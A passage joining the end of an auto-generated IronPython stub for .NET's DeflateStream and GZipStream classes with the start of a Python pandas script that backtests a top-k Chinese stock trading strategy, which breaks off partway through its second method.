asyncCallback: An optional asynchronous callback, to be called when the write is complete. asyncState: A user-provided object that distinguishes this particular asynchronous write request from other requests. Returns: An System.IAsyncResult object that represents the asynchronous write, which could still be pending. """ pass def CreateWaitHandle(self, *args): # cannot find CLR method """ CreateWaitHandle(self: Stream) -> WaitHandle Allocates a System.Threading.WaitHandle object. Returns: A reference to the allocated WaitHandle. """ pass def Dispose(self): """ Dispose(self: DeflateStream, disposing: bool) Releases the unmanaged resources used by the System.IO.Compression.DeflateStream and optionally releases the managed resources. disposing: true to release both managed and unmanaged resources; false to release only unmanaged resources. """ pass def EndRead(self, asyncResult): """ EndRead(self: DeflateStream, asyncResult: IAsyncResult) -> int Waits for the pending asynchronous read to complete. asyncResult: The reference to the pending asynchronous request to finish. Returns: The number of bytes read from the stream, between zero (0) and the number of bytes you requested. System.IO.Compression.DeflateStream returns zero (0) only at the end of the stream; otherwise, it blocks until at least one byte is available. """ pass def EndWrite(self, asyncResult): """ EndWrite(self: DeflateStream, asyncResult: IAsyncResult) Ends an asynchronous write operation. asyncResult: A reference to the outstanding asynchronous I/O request. """ pass def Flush(self): """ Flush(self: DeflateStream) Flushes the contents of the internal buffer of the current stream object to the underlying stream. """ pass def MemberwiseClone(self, *args): # cannot find CLR method """ MemberwiseClone(self: MarshalByRefObject, cloneIdentity: bool) -> MarshalByRefObject Creates a shallow copy of the current System.MarshalByRefObject object. cloneIdentity: false to delete the current System.MarshalByRefObject object's identity, which will cause the object to be assigned a new identity when it is marshaled across a remoting boundary. A value of false is usually appropriate. true to copy the current System.MarshalByRefObject object's identity to its clone, which will cause remoting client calls to be routed to the remote server object. Returns: A shallow copy of the current System.MarshalByRefObject object. MemberwiseClone(self: object) -> object Creates a shallow copy of the current System.Object. Returns: A shallow copy of the current System.Object. """ pass def ObjectInvariant(self, *args): # cannot find CLR method """ ObjectInvariant(self: Stream) Provides support for a System.Diagnostics.Contracts.Contract. """ pass def Read(self, array, offset, count): """ Read(self: DeflateStream, array: Array[Byte], offset: int, count: int) -> int Reads a number of decompressed bytes into the specified byte array. array: The array to store decompressed bytes. offset: The byte offset in array at which the read bytes will be placed. count: The maximum number of decompressed bytes to read. Returns: The number of bytes that were read into the byte array. """ pass def Seek(self, offset, origin): """ Seek(self: DeflateStream, offset: Int64, origin: SeekOrigin) -> Int64 This operation is not supported and always throws a System.NotSupportedException. offset: The location in the stream. origin: One of the System.IO.SeekOrigin values. Returns: A long value. """ pass def SetLength(self, value): """ SetLength(self: DeflateStream, value: Int64) This operation is not supported and always throws a System.NotSupportedException. value: The length of the stream. """ pass def Write(self, array, offset, count): """ Write(self: DeflateStream, array: Array[Byte], offset: int, count: int) Writes compressed bytes to the underlying stream from the specified byte array. array: The buffer that contains the data to compress. offset: The byte offset in array at which the compressed bytes will be placed. count: The maximum number of compressed bytes to write. """ pass def __enter__(self, *args): # cannot find CLR method """ __enter__(self: IDisposable) -> object Provides the implementation of __enter__ for objects which implement IDisposable. """ pass def __exit__(self, *args): # cannot find CLR method """ __exit__(self: IDisposable, exc_type: object, exc_value: object, exc_back: object) Provides the implementation of __exit__ for objects which implement IDisposable. """ pass def __init__(self, *args): # cannot find CLR method """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass @staticmethod # known case of __new__ def __new__(self, stream, *__args): """ __new__(cls: type, stream: Stream, mode: CompressionMode) __new__(cls: type, stream: Stream, mode: CompressionMode, leaveOpen: bool) __new__(cls: type, stream: Stream, compressionLevel: CompressionLevel) __new__(cls: type, stream: Stream, compressionLevel: CompressionLevel, leaveOpen: bool) """ pass BaseStream = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a reference to the underlying stream. Get: BaseStream(self: DeflateStream) -> Stream """ CanRead = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports reading while decompressing a file. Get: CanRead(self: DeflateStream) -> bool """ CanSeek = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports seeking. Get: CanSeek(self: DeflateStream) -> bool """ CanWrite = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports writing. Get: CanWrite(self: DeflateStream) -> bool """ Length = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """This property is not supported and always throws a System.NotSupportedException. Get: Length(self: DeflateStream) -> Int64 """ Position = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """This property is not supported and always throws a System.NotSupportedException. Get: Position(self: DeflateStream) -> Int64 Set: Position(self: DeflateStream) = value """ class GZipStream(Stream, IDisposable): """ Provides methods and properties used to compress and decompress streams. GZipStream(stream: Stream, mode: CompressionMode) GZipStream(stream: Stream, mode: CompressionMode, leaveOpen: bool) GZipStream(stream: Stream, compressionLevel: CompressionLevel) GZipStream(stream: Stream, compressionLevel: CompressionLevel, leaveOpen: bool) """ def BeginRead(self, array, offset, count, asyncCallback, asyncState): """ BeginRead(self: GZipStream, array: Array[Byte], offset: int, count: int, asyncCallback: AsyncCallback, asyncState: object) -> IAsyncResult Begins an asynchronous read operation. array: The byte array to read the data into. offset: The byte offset in array at which to begin writing data read from the stream. count: The maximum number of bytes to read. asyncCallback: An optional asynchronous callback, to be called when the read is complete. asyncState: A user-provided object that distinguishes this particular asynchronous read request from other requests. Returns: An System.IAsyncResult object that represents the asynchronous read, which could still be pending. """ pass def BeginWrite(self, array, offset, count, asyncCallback, asyncState): """ BeginWrite(self: GZipStream, array: Array[Byte], offset: int, count: int, asyncCallback: AsyncCallback, asyncState: object) -> IAsyncResult Begins an asynchronous write operation. array: The buffer containing data to write to the current stream. offset: The byte offset in array at which to begin writing. count: The maximum number of bytes to write. asyncCallback: An optional asynchronous callback to be called when the write is complete. asyncState: A user-provided object that distinguishes this particular asynchronous write request from other requests. Returns: An System.IAsyncResult object that represents the asynchronous write, which could still be pending. """ pass def CreateWaitHandle(self, *args): # cannot find CLR method """ CreateWaitHandle(self: Stream) -> WaitHandle Allocates a System.Threading.WaitHandle object. Returns: A reference to the allocated WaitHandle. """ pass def Dispose(self): """ Dispose(self: GZipStream, disposing: bool) Releases the unmanaged resources used by the System.IO.Compression.GZipStream and optionally releases the managed resources. disposing: true to release both managed and unmanaged resources; false to release only unmanaged resources. """ pass def EndRead(self, asyncResult): """ EndRead(self: GZipStream, asyncResult: IAsyncResult) -> int Waits for the pending asynchronous read to complete. asyncResult: The reference to the pending asynchronous request to finish. Returns: The number of bytes read from the stream, between zero (0) and the number of bytes you requested. System.IO.Compression.GZipStream returns zero (0) only at the end of the stream; otherwise, it blocks until at least one byte is available. """ pass def EndWrite(self, asyncResult): """ EndWrite(self: GZipStream, asyncResult: IAsyncResult) Handles the end of an asynchronous write operation. asyncResult: The System.IAsyncResult object that represents the asynchronous call. """ pass def Flush(self): """ Flush(self: GZipStream) Flushes the contents of the internal buffer of the current System.IO.Compression.GZipStream object to the underlying stream. """ pass def MemberwiseClone(self, *args): # cannot find CLR method """ MemberwiseClone(self: MarshalByRefObject, cloneIdentity: bool) -> MarshalByRefObject Creates a shallow copy of the current System.MarshalByRefObject object. cloneIdentity: false to delete the current System.MarshalByRefObject object's identity, which will cause the object to be assigned a new identity when it is marshaled across a remoting boundary. A value of false is usually appropriate. true to copy the current System.MarshalByRefObject object's identity to its clone, which will cause remoting client calls to be routed to the remote server object. Returns: A shallow copy of the current System.MarshalByRefObject object. MemberwiseClone(self: object) -> object Creates a shallow copy of the current System.Object. Returns: A shallow copy of the current System.Object. """ pass def ObjectInvariant(self, *args): # cannot find CLR method """ ObjectInvariant(self: Stream) Provides support for a System.Diagnostics.Contracts.Contract. """ pass def Read(self, array, offset, count): """ Read(self: GZipStream, array: Array[Byte], offset: int, count: int) -> int Reads a number of decompressed bytes into the specified byte array. array: The array used to store decompressed bytes. offset: The byte offset in array at which the read bytes will be placed. count: The maximum number of decompressed bytes to read. Returns: The number of bytes that were decompressed into the byte array. If the end of the stream has been reached, zero or the number of bytes read is returned. """ pass def Seek(self, offset, origin): """ Seek(self: GZipStream, offset: Int64, origin: SeekOrigin) -> Int64 This property is not supported and always throws a System.NotSupportedException. offset: The location in the stream. origin: One of the System.IO.SeekOrigin values. Returns: A long value. """ pass def SetLength(self, value): """ SetLength(self: GZipStream, value: Int64) This property is not supported and always throws a System.NotSupportedException. value: The length of the stream. """ pass def Write(self, array, offset, count): """ Write(self: GZipStream, array: Array[Byte], offset: int, count: int) Writes compressed bytes to the underlying stream from the specified byte array. array: The buffer that contains the data to compress. offset: The byte offset in array at which the compressed bytes will be placed. count: The maximum number of compressed bytes to write. """ pass def __enter__(self, *args): # cannot find CLR method """ __enter__(self: IDisposable) -> object Provides the implementation of __enter__ for objects which implement IDisposable. """ pass def __exit__(self, *args): # cannot find CLR method """ __exit__(self: IDisposable, exc_type: object, exc_value: object, exc_back: object) Provides the implementation of __exit__ for objects which implement IDisposable. """ pass def __init__(self, *args): # cannot find CLR method """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass @staticmethod # known case of __new__ def __new__(self, stream, *__args): """ __new__(cls: type, stream: Stream, mode: CompressionMode) __new__(cls: type, stream: Stream, mode: CompressionMode, leaveOpen: bool) __new__(cls: type, stream: Stream, compressionLevel: CompressionLevel) __new__(cls: type, stream: Stream, compressionLevel: CompressionLevel, leaveOpen: bool) """ pass BaseStream = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a reference to the underlying stream. Get: BaseStream(self: GZipStream) -> Stream """ CanRead = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports reading while decompressing a file. Get: CanRead(self: GZipStream) -> bool """ CanSeek = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports seeking. Get: CanSeek(self: GZipStream) -> bool """ CanWrite = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """Gets a value indicating whether the stream supports writing. Get: CanWrite(self: GZipStream) -> bool """ Length = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """This property is not supported and always throws a System.NotSupportedException. Get: Length(self: GZipStream) -> Int64 """ Position = property( lambda self: object(), lambda self, v: None, lambda self: None ) # default """This property is not supported and always throws a System.NotSupportedException. Get: Position(self: GZipStream) -> Int64 Set: Position(self: GZipStream) = value """

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65787b68a0b5e1c3c626ba7fd5823a96f53459eb

38,990

py

Python

CSZL_Framework2022/CSZLDisplay.py

BNDKG/CSZL_2022

2cf55ccff21d54474fa9b55f21b5c204a35e5263

[ "MIT" ]

null

CSZL_Framework2022/CSZLDisplay.py

BNDKG/CSZL_2022

2cf55ccff21d54474fa9b55f21b5c204a35e5263

[ "MIT" ]

null

CSZL_Framework2022/CSZLDisplay.py

BNDKG/CSZL_2022

2cf55ccff21d54474fa9b55f21b5c204a35e5263

[ "MIT" ]

null

#coding=utf-8 import pandas as pd import numpy as np import CSZLData import matplotlib import matplotlib.pyplot as plt from sklearn.utils import shuffle class CSZLDisplay(object): """description of class""" def Topk_nextopen(self,resultpath): #df_all = pd.read_csv('./Database/Dailydata.csv',index_col=0,header=0) #df_adj_all=pd.read_csv('./Database/Daily_adj_factor.csv',index_col=0,header=0) #df_limit_all=pd.read_csv('./Database/Daily_stk_limit.csv',index_col=0,header=0) df_all = pd.read_pickle('./Database/Dailydata.pkl') df_adj_all = pd.read_pickle('./Database/Daily_adj_factor.pkl') df_limit_all = pd.read_pickle('./Database/Daily_stk_limit.pkl') df_all=pd.merge(df_all, df_adj_all, how='left', on=['ts_code','trade_date']) df_all=pd.merge(df_all, df_limit_all, how='left', on=['ts_code','trade_date']) score_df = pd.read_csv(resultpath,index_col=0,header=0) #score_df=score_df[['ts_code','trade_date','mix']] score_df=score_df[['ts_code','trade_date','mix_rank','Shift_1total_mv_rank','close_show']] #score_df = pd.read_csv('zzzzfackdatapred_fullold.csv',index_col=0,header=0) #print(df_all) print(score_df) #hold_all=5 #change_num=1 hold_all=30 change_num=5 account=100000000 accountbase=account buy_pct=0.9 Trans_cost=0.997 #千三 # balance random none choicepolicy="none" ###添加停牌计算和涨跌停简单策略 #stop_state 当日不停牌为0，当日停牌为1 (TODO:前日停牌本日不停牌为2,不每日刷新)，每日刷新 #control_state_open 当日不停牌且开盘未触及涨跌停为0，当日开盘触及跌停为1，当日开盘触及涨停为2，每日刷新 #control_state_close 当日不停牌且收盘没有触及涨跌停为0，当日收盘触及跌停1，当日收盘触及涨停为2,每日刷新 #last_action_flag 前日不需要买入卖出为0，前日需要卖出为1，前日需要买入为2 codelist=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag')) codelist_buffer=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag')) #codelist=codelist.append([{'ts_code':1,'lastprice':1,'amount':1,'adjflag':1}]) #print(codelist) score_df=score_df.sort_values(by=['trade_date']) datelist=score_df['trade_date'].unique() cur_hold_num=0 print(datelist) days=0 show3=[] last_cur_merge_df=[] for cur_date in datelist: #这里注意停牌的不包含在这个list中 cur_df_all=df_all[df_all['trade_date'].isin([cur_date])] cur_score_df=score_df[score_df['trade_date'].isin([cur_date])] cur_merge_df=pd.merge(cur_df_all,cur_score_df, how='left', on=['trade_date','ts_code']) cur_merge_df['mix_rank'].fillna(-99.99, inplace=True) if len(last_cur_merge_df): cur_merge_df=pd.merge(cur_merge_df,last_cur_merge_df, how='left', on=['ts_code']) cur_merge_df['last_mix_rank'].fillna(-99.99, inplace=True) #if cur_date>20180102 : # cur_merge_df=cur_merge_df.to_csv("dsdf.csv") code_value_sum=0 if codelist.shape[0]>0 : codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) #刷新停牌的close和adj价值 codelist_buffer['adj_factor'].fillna(9999.99, inplace=True) codelist_buffer['close'].fillna(9999.99, inplace=True) codelist_buffer['open'].fillna(9999.99, inplace=True) codelist_buffer['control_state_open']=0 codelist_buffer['control_state_close']=0 codelist_buffer['stop_state']=0 codelist_buffer.loc[codelist_buffer['adj_factor']==9999.99,'stop_state']=1 codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['down_limit'],'control_state_open']=1 codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['up_limit'],'control_state_open']=2 codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['down_limit'],'control_state_close']=1 codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['up_limit'],'control_state_close']=2 codelist_buffer.loc[codelist_buffer['adj_factor']==9999.99,'adj_factor']=codelist_buffer['last_adj_factor'] codelist_buffer.loc[codelist_buffer['open']==9999.99,'open']=codelist_buffer['lastprice'] ###更新除权 ##print(codelist_buffer.head(10)) codelist_buffer.loc[:,'buy_amount']=codelist_buffer['buy_amount']*codelist_buffer['adj_factor']/codelist_buffer['last_adj_factor'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #print(codelist_buffer.head(10)) codelist.loc[:,'buy_amount']=codelist_buffer['buy_amount'] codelist.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] codelist.loc[:,'lastprice']=codelist_buffer['open'] codelist_buffer['value']=codelist_buffer['buy_amount']*codelist_buffer['open'] #codelist_buffer.reset_index(inplace=True,drop=True) #code_value_sum=codelist_buffer['value'].sum() #todo fillna #pd.merge(df_all, df_long_all, how='inner', on=['ts_code','trade_date']) #print(cur_merge_df) #sell========================== sellto=hold_all-change_num sellnum=cur_hold_num-sellto if sellnum>0: #初始化本日卖出flag sell_value 每日刷新 #初始化本日卖出计数 codelist_buffer['sell_value']=0 #sell_count=0 #先看open是否为2，是则消除前日的卖出flag #codelist_buffer.loc[codelist_buffer['control_state_open']==2,'last_action_flag']=0 #按open更新当日的sell_value，并且增加计数 #(前日卖出flag为1，当日open是1，当日close不是1,这种情况按score来算) #see=codelist_buffer[codelist_buffer['last_action_flag']==1].shape[0] #if(see>0): # print(codelist_buffer) #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_close']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #sell_count=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(sell_count!=0): # print(codelist_buffer) #sellnum=sellnum-sell_count #根据分数排序 codelist_buffer=codelist_buffer.sort_values(by=['last_mix_rank']) #先将这些分数低的更新last_action_flag为1 codelist_buffer.loc[codelist_buffer['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 codelist.loc[codelist['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 #更新当日control_state_close不跌停的的sell_value codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['value'] codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']==1)&(codelist_buffer['control_state_close']!=1),'sell_value']=codelist_buffer['close']*codelist_buffer['buy_amount'] #排除跌停卖出 #统计所有的sell_value大于0的并drop掉更新list account=account+codelist_buffer['sell_value'].sum()*Trans_cost cur_hold_num-=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(cur_hold_num!=80): # print(codelist_buffer) #codelist_buffer.drop(codelist_buffer['sell_value']>0,inplace=True) codelist_buffer=codelist_buffer[codelist_buffer['sell_value']==0] codelist=codelist[codelist['ts_code'].isin(codelist_buffer['ts_code'])] sdfafa=1 #buy========================== buyto=hold_all buynum=buyto-cur_hold_num if(buynum>0 and len(last_cur_merge_df)): buy_all_value=0 if(codelist.shape[0]>0): hold_code_sum=codelist_buffer['value'].sum() buy_all_value=(account+hold_code_sum)*buy_pct-hold_code_sum else: buy_all_value=account*buy_pct #when account too low then don't do anything if(buy_all_value<10000): continue code_amount_buy=buy_all_value/buynum cur_merge_df=cur_merge_df.sort_values(by=['last_mix_rank']) buylist=cur_merge_df #single code no repeat buylist=buylist[~buylist['ts_code'].isin(codelist['ts_code'])] #todo can't buy highstop #buylist=buylist[buylist['pct_chg']<4] buylist=buylist[buylist['open']!=buylist['up_limit']] #buylist=buylist[buylist['pct_chg']>-9] if choicepolicy=="random": buylist = shuffle(buylist,random_state=4) elif choicepolicy=="balance": headnum=buynum/20+1 test=buylist.groupby('Shift_1total_mv_rank').tail(headnum) #print(buylist) buylist=test.sort_values(by=['last_mix_rank']) #错误示范，预知未来 buylist=buylist[buylist['last_amount']>1500] #buylist.to_csv("comp.csv") #print(buylist) buylist=buylist.tail(buynum) buylist.loc[:,'buyuse']=code_amount_buy/buylist['open'] #buylist['buyuse']=code_amount_buy/buylist['close'] buylist.loc[:,'buyuse']=buylist['buyuse'].round(-2) buylist.loc[:,'buyuse']=buylist['buyuse'].astype(int) buylist['value']=buylist['open']*buylist['buyuse'] #seelist=buylist[['ts_code','trade_date','yesterday_1total_mv_rank']] #print(seelist) account=account-buylist['value'].sum() #上日控制flag用于给后一日提供买卖信息，默认为0 buylist['last_action_flag']=0 savebuylist=buylist[['ts_code','open','buyuse','adj_factor','last_action_flag']] savebuylist.columns = ['ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag'] codelist=codelist.append(savebuylist) #todo 这里因为下个循环drop会用到index如果不重新排序会造成问题，先这样改如果需要提升速度再进行修正 codelist.reset_index(inplace=True,drop=True) cur_hold_num+=buynum sdfafa=1 #print(codelist) #codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) bufferdf=codelist['buy_amount']*codelist['lastprice'] #if(cur_date>20171018): # print(codelist) #print(codelist) code_value_sum=bufferdf.sum() print(account+code_value_sum) print(cur_date) show3.append(account+code_value_sum) last_cur_merge_df=cur_merge_df[["ts_code","mix_rank","amount"]] last_cur_merge_df.columns =['ts_code','last_mix_rank','last_amount'] #print(last_cur_merge_df) days+=1 days=np.arange(1,datelist.shape[0]+1) eee=np.where(days%5==0) daysshow=days[eee] datashow=datelist[eee] #a = np.random.rand(days.shape[0], 1) #a=np.load('a.npy') #a=a.tolist() #print(a) #plt.plot(days,a,c='red',label='CB') if True : #000001.SH 上证 000016.SH 50 000688.SH 科创50 000905.SH 中证500 399006.SZ 创业板指 #399300.SZ 300 000852.SH 1000 baselinecode='399300.SZ' baseline1=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline1,c='m',label=baselinecode) baselinecode='399006.SZ' baseline2=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline2,c='c',label=baselinecode) baselinecode='000852.SH' baseline3=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline3,c='y',label=baselinecode) baselinecode='000905.SH' baseline4=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline4,c='k',label=baselinecode) print(show3) plt.plot(days,show3,c='green',label="TOPK_open_head30") plt.xticks(daysshow, datashow,color='blue',rotation=60) plt.legend() plt.show() input() asdffd=1 def Topk_nextopen_mix(self,resultpath): #df_all = pd.read_csv('./Database/Dailydata.csv',index_col=0,header=0) #df_adj_all=pd.read_csv('./Database/Daily_adj_factor.csv',index_col=0,header=0) #df_limit_all=pd.read_csv('./Database/Daily_stk_limit.csv',index_col=0,header=0) df_all = pd.read_pickle('./Database/Dailydata.pkl') df_adj_all = pd.read_pickle('./Database/Daily_adj_factor.pkl') df_limit_all = pd.read_pickle('./Database/Daily_stk_limit.pkl') df_all=pd.merge(df_all, df_adj_all, how='left', on=['ts_code','trade_date']) df_all=pd.merge(df_all, df_limit_all, how='left', on=['ts_code','trade_date']) score_df = pd.read_csv(resultpath,index_col=0,header=0) #score_df=score_df[['ts_code','trade_date','mix']] score_df=score_df[['ts_code','trade_date','mix','Shift_1total_mv_rank','close_show']] #score_df = pd.read_csv('zzzzfackdatapred_fullold.csv',index_col=0,header=0) #print(df_all) print(score_df) #hold_all=5 #change_num=1 hold_all=30 change_num=6 account=100000000 accountbase=account buy_pct=0.9 Trans_cost=0.997 #千三 # balance random none choicepolicy="random" ###添加停牌计算和涨跌停简单策略 #stop_state 当日不停牌为0，当日停牌为1 (TODO:前日停牌本日不停牌为2,不每日刷新)，每日刷新 #control_state_open 当日不停牌且开盘未触及涨跌停为0，当日开盘触及跌停为1，当日开盘触及涨停为2，每日刷新 #control_state_close 当日不停牌且收盘没有触及涨跌停为0，当日收盘触及跌停1，当日收盘触及涨停为2,每日刷新 #last_action_flag 前日不需要买入卖出为0，前日需要卖出为1，前日需要买入为2 codelist=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag')) codelist_buffer=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag')) #codelist=codelist.append([{'ts_code':1,'lastprice':1,'amount':1,'adjflag':1}]) #print(codelist) score_df=score_df.sort_values(by=['trade_date']) datelist=score_df['trade_date'].unique() cur_hold_num=0 print(datelist) days=0 show3=[] last_cur_merge_df=[] for cur_date in datelist: #这里注意停牌的不包含在这个list中 cur_df_all=df_all[df_all['trade_date'].isin([cur_date])] cur_score_df=score_df[score_df['trade_date'].isin([cur_date])] cur_merge_df=pd.merge(cur_df_all,cur_score_df, how='left', on=['trade_date','ts_code']) cur_merge_df['mix'].fillna(-99.99, inplace=True) if len(last_cur_merge_df): cur_merge_df=pd.merge(cur_merge_df,last_cur_merge_df, how='left', on=['ts_code']) cur_merge_df['last_mix'].fillna(-99.99, inplace=True) #if cur_date>20180102 : # cur_merge_df=cur_merge_df.to_csv("dsdf.csv") code_value_sum=0 if codelist.shape[0]>0 : codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) #刷新停牌的close和adj价值 codelist_buffer['adj_factor'].fillna(9999.99, inplace=True) codelist_buffer['close'].fillna(9999.99, inplace=True) codelist_buffer['open'].fillna(9999.99, inplace=True) codelist_buffer['control_state_open']=0 codelist_buffer['control_state_close']=0 codelist_buffer['stop_state']=0 codelist_buffer.loc[codelist_buffer['adj_factor']==9999.99,'stop_state']=1 codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['down_limit'],'control_state_open']=1 codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['up_limit'],'control_state_open']=2 codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['down_limit'],'control_state_close']=1 codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['up_limit'],'control_state_close']=2 codelist_buffer.loc[codelist_buffer['adj_factor']==9999.99,'adj_factor']=codelist_buffer['last_adj_factor'] codelist_buffer.loc[codelist_buffer['open']==9999.99,'open']=codelist_buffer['lastprice'] ###更新除权 ##print(codelist_buffer.head(10)) codelist_buffer.loc[:,'buy_amount']=codelist_buffer['buy_amount']*codelist_buffer['adj_factor']/codelist_buffer['last_adj_factor'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #print(codelist_buffer.head(10)) codelist.loc[:,'buy_amount']=codelist_buffer['buy_amount'] codelist.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] codelist.loc[:,'lastprice']=codelist_buffer['open'] codelist_buffer['value']=codelist_buffer['buy_amount']*codelist_buffer['open'] #codelist_buffer.reset_index(inplace=True,drop=True) #code_value_sum=codelist_buffer['value'].sum() #todo fillna #pd.merge(df_all, df_long_all, how='inner', on=['ts_code','trade_date']) #print(cur_merge_df) #sell========================== sellto=hold_all-change_num sellnum=cur_hold_num-sellto if sellnum>0: #初始化本日卖出flag sell_value 每日刷新 #初始化本日卖出计数 codelist_buffer['sell_value']=0 #sell_count=0 #先看open是否为2，是则消除前日的卖出flag #codelist_buffer.loc[codelist_buffer['control_state_open']==2,'last_action_flag']=0 #按open更新当日的sell_value，并且增加计数 #(前日卖出flag为1，当日open是1，当日close不是1,这种情况按score来算) #see=codelist_buffer[codelist_buffer['last_action_flag']==1].shape[0] #if(see>0): # print(codelist_buffer) #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_close']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #sell_count=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(sell_count!=0): # print(codelist_buffer) #sellnum=sellnum-sell_count #根据分数排序 codelist_buffer=codelist_buffer.sort_values(by=['last_mix']) #先将这些分数低的更新last_action_flag为1 codelist_buffer.loc[codelist_buffer['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 codelist.loc[codelist['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 #更新当日control_state_close不跌停的的sell_value codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['value'] codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']==1)&(codelist_buffer['control_state_close']!=1),'sell_value']=codelist_buffer['close']*codelist_buffer['buy_amount'] #排除跌停卖出 #统计所有的sell_value大于0的并drop掉更新list account=account+codelist_buffer['sell_value'].sum()*Trans_cost cur_hold_num-=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(cur_hold_num!=80): # print(codelist_buffer) #codelist_buffer.drop(codelist_buffer['sell_value']>0,inplace=True) codelist_buffer=codelist_buffer[codelist_buffer['sell_value']==0] codelist=codelist[codelist['ts_code'].isin(codelist_buffer['ts_code'])] sdfafa=1 #buy========================== buyto=hold_all buynum=buyto-cur_hold_num if(buynum>0 and len(last_cur_merge_df)): buy_all_value=0 if(codelist.shape[0]>0): hold_code_sum=codelist_buffer['value'].sum() buy_all_value=(account+hold_code_sum)*buy_pct-hold_code_sum else: buy_all_value=account*buy_pct #when account too low then don't do anything if(buy_all_value<10000): continue code_amount_buy=buy_all_value/buynum cur_merge_df=cur_merge_df.sort_values(by=['last_mix']) buylist=cur_merge_df #single code no repeat buylist=buylist[~buylist['ts_code'].isin(codelist['ts_code'])] #todo can't buy highstop #buylist=buylist[buylist['pct_chg']<4] buylist=buylist[buylist['open']!=buylist['up_limit']] #buylist=buylist[buylist['pct_chg']>-9] if choicepolicy=="random": buylist = shuffle(buylist,random_state=4) elif choicepolicy=="balance": headnum=buynum/20+1 test=buylist.groupby('Shift_1total_mv_rank').tail(headnum) #print(test) buylist=test.sort_values(by=['last_mix']) buylist=buylist.tail(buynum) buylist.loc[:,'buyuse']=code_amount_buy/buylist['open'] #buylist['buyuse']=code_amount_buy/buylist['close'] buylist.loc[:,'buyuse']=buylist['buyuse'].round(-2) buylist.loc[:,'buyuse']=buylist['buyuse'].astype(int) buylist['value']=buylist['open']*buylist['buyuse'] #seelist=buylist[['ts_code','trade_date','yesterday_1total_mv_rank']] #print(seelist) account=account-buylist['value'].sum() #上日控制flag用于给后一日提供买卖信息，默认为0 buylist['last_action_flag']=0 savebuylist=buylist[['ts_code','open','buyuse','adj_factor','last_action_flag']] savebuylist.columns = ['ts_code','lastprice','buy_amount','last_adj_factor','last_action_flag'] codelist=codelist.append(savebuylist) #todo 这里因为下个循环drop会用到index如果不重新排序会造成问题，先这样改如果需要提升速度再进行修正 codelist.reset_index(inplace=True,drop=True) cur_hold_num+=buynum sdfafa=1 #print(codelist) 